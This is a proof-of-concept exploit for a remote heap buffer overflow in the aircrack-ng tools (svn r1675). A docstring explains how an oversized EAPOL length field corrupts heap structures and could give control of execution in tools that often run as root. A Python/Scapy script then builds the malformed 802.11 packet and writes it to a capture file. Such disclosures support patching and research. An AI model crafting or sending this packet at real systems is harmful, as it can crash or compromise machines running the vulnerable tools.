Aircrack-NG Tools svn r1675 - Remote Heap Buffer Overflow (PoC)




Lukas Lueg







#!/usr/bin/env python
# -*- coding: UTF-8 -*-

''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.
    The tools' code responsible for parsing IEEE802.11-packets assumes the
    self-proclaimed length of a EAPOL-packet to be correct and never to exceed
    a (arbitrary) maximum size of 256 bytes for packets that are part of the
    EAPOL-authentication. We can exploit this by letting the code parse packets
     a) proclaim to be larger than they really are, possibly causing the code
        to read from invalid memory locations while copying the packet;
     b) really do exceed the maximum size allowed and overflow data structures
        allocated on the heap, overwriting libc's allocation-related
        structures. This causes heap-corruption.
    Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-
    path. Careful layout of the packet's content can even possibly alter the
    instruction-flow through the already well known heap-corruption paths
    in libc. Playing with the proclaimed length of the EAPOL-packet and the
    size and content of the packet's padding immediately end up in various
    assertion errors during calls to free(). This reveals the possibility to
    gain control over $EIP.
    Given that we have plenty of room for payload and that the tools are
    usually executed with root-privileges, we should be able to have a
    single-packet-own-everything exploit at our hands. As the attacker can
    cause the various tools to do memory-allocations at his will (through
    faking the appearance of previously unknown clients), the resulting
    exploit-code should have a high probability of success.

    The demonstration-code below requires Scapy >= 2.x and Pyrit >= 0.3.1-dev
    r238 to work. It generates pcap-file with single packet of the following

    03/27/2010, Lukas Lueg,

import cpyrit.pckttools
import scapy.layers

# A IEEE802.11-packet with LLC- and SNAP-header, looking like the second
# phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-
# packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and
# struct WPA_hdsk.
# We have plenty of room for exploit-payload as most of the fields in the
# EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent
# heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in
# case of airodump-ng...
pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00',       \
                                addr2='00:de:ad:c0:de:01',       \
                                FCfield='to-DS')                 \
       / scapy.layers.dot11.LLC()                                \
       / scapy.layers.dot11.SNAP()                               \
       / scapy.layers.l2.EAPOL(len=65000)                        \
       / cpyrit.pckttools.EAPOL_Key()                            \
       / cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \
       / scapy.packet.Padding(load='Can I has some moar?')

if __name__ == '__main__':
    print "Packet's content:"
    print ''.join("%02X" % ord(c) for c in str(pckt))
    filename = 'aircrackng_exploit.cap'
    print "Writing to '%s'" % filename
    writer = cpyrit.pckttools.Dot11PacketWriter(filename)
    print 'Done'